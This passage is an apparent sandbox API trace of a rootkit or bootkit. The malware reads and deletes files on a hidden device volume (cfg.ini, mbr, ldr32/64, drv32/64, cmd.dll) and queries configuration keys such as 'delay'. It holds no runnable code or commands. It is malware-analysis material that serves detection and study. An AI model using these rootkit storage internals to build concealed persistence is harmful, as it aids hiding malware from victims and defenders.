0xfffffa8003baf190 [0129.652] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.652] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.652] IdePortDispatch () returned 0x103 [0129.652] KeWaitForMutexObject () returned 0x0 [0129.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.652] KeLeaveCriticalRegion () [0129.652] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.653] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.653] KeEnterCriticalRegion () [0129.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.653] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.653] KeLeaveCriticalRegion () [0129.653] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.653] KeEnterCriticalRegion () [0129.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.653] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.653] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.653] KeLeaveCriticalRegion () [0129.653] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.653] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.653] KeEnterCriticalRegion () [0129.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.653] ExFreePoolWithTag (P=0xfffffa8003bfc8b0, Tag=0x0) [0129.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.653] KeLeaveCriticalRegion () [0129.653] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.654] ReleaseMutex (hMutex=0xf0) returned 1 [0129.654] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.654] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.654] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.654] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.654] KeEnterCriticalRegion () [0129.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.654] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.654] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.654] IdePortDispatch () returned 0x103 [0129.654] KeWaitForMutexObject () returned 0x0 [0129.654] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.654] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.654] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.654] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.654] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.654] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.654] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.654] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.654] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.654] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.654] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.654] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.654] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.654] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.654] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.654] KeLeaveCriticalRegion () [0129.654] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.654] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.655] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.655] KeEnterCriticalRegion () [0129.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.655] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.655] IdePortDispatch () returned 0x103 [0129.655] KeWaitForMutexObject () returned 0x0 [0129.655] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.655] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.655] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.655] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.655] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.655] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.655] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.655] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.655] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.655] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.655] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.655] KeLeaveCriticalRegion () [0129.655] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.655] ReleaseMutex (hMutex=0x100) returned 1 [0129.655] Sleep (dwMilliseconds=0x2bf20) [0129.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x707bbcd0, dwHighDateTime=0x1d24fa4)) [0129.662] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.662] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.662] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.662] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.662] KeEnterCriticalRegion () [0129.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.662] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.662] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.662] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.663] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.663] IdePortDispatch () returned 0x103 [0129.663] KeWaitForMutexObject () returned 0x0 [0129.663] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.663] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.663] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.663] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.663] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.663] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.663] KeLeaveCriticalRegion () [0129.663] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.663] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.663] KeEnterCriticalRegion () [0129.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.663] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.663] KeLeaveCriticalRegion () [0129.663] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.663] KeEnterCriticalRegion () [0129.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.663] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.663] IdePortDispatch () returned 0x103 [0129.663] KeWaitForMutexObject () returned 0x0 [0129.664] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.664] KeLeaveCriticalRegion () [0129.664] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.664] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.664] KeEnterCriticalRegion () [0129.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.664] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c30000 [0129.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.664] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.664] IdePortDispatch () returned 0x103 [0129.664] KeWaitForMutexObject () returned 0x0 [0129.664] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.664] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.664] IdePortDispatch () returned 0x103 [0129.664] KeWaitForMutexObject () returned 0x0 [0129.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.664] KeLeaveCriticalRegion () [0129.664] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.665] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.665] KeEnterCriticalRegion () [0129.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.665] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.665] KeLeaveCriticalRegion () [0129.665] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.665] KeEnterCriticalRegion () [0129.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.665] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.665] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.665] KeLeaveCriticalRegion () [0129.665] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.665] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.665] KeEnterCriticalRegion () [0129.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.665] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.665] KeLeaveCriticalRegion () [0129.665] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.665] ReleaseMutex (hMutex=0xf0) returned 1 [0129.665] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.666] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.666] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.666] KeEnterCriticalRegion () [0129.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.666] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.666] IdePortDispatch () returned 0x103 [0129.666] KeWaitForMutexObject () returned 0x0 [0129.666] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.666] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.666] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.666] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.666] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.666] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06f00 [0129.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.666] KeLeaveCriticalRegion () [0129.666] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.666] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.666] KeEnterCriticalRegion () [0129.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.666] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.666] KeLeaveCriticalRegion () [0129.666] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.666] KeEnterCriticalRegion () [0129.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.666] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.666] IdePortDispatch () returned 0x103 [0129.667] KeWaitForMutexObject () returned 0x0 [0129.667] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.667] KeLeaveCriticalRegion () [0129.667] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.667] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.667] KeEnterCriticalRegion () [0129.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.667] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c31000 [0129.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.667] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.667] IdePortDispatch () returned 0x103 [0129.667] KeWaitForMutexObject () returned 0x0 [0129.667] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.667] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.667] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.667] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.667] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.667] IdePortDispatch () returned 0x103 [0129.667] KeWaitForMutexObject () returned 0x0 [0129.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.668] KeLeaveCriticalRegion () [0129.668] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.668] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.668] KeEnterCriticalRegion () [0129.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.668] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.668] KeLeaveCriticalRegion () [0129.668] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.668] KeEnterCriticalRegion () [0129.668] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.668] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.668] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.668] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.668] KeLeaveCriticalRegion () [0129.668] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.668] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.668] KeEnterCriticalRegion () [0129.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.669] ExFreePoolWithTag (P=0xfffffa8003c06f00, Tag=0x0) [0129.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.669] KeLeaveCriticalRegion () [0129.669] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.669] ReleaseMutex (hMutex=0xf0) returned 1 [0129.669] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.669] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.669] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.669] KeEnterCriticalRegion () [0129.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.669] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.669] IdePortDispatch () returned 0x103 [0129.669] KeWaitForMutexObject () returned 0x0 [0129.669] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.669] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.669] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.669] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.669] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.669] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05270 [0129.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.669] KeLeaveCriticalRegion () [0129.669] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.669] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.669] KeEnterCriticalRegion () [0129.669] 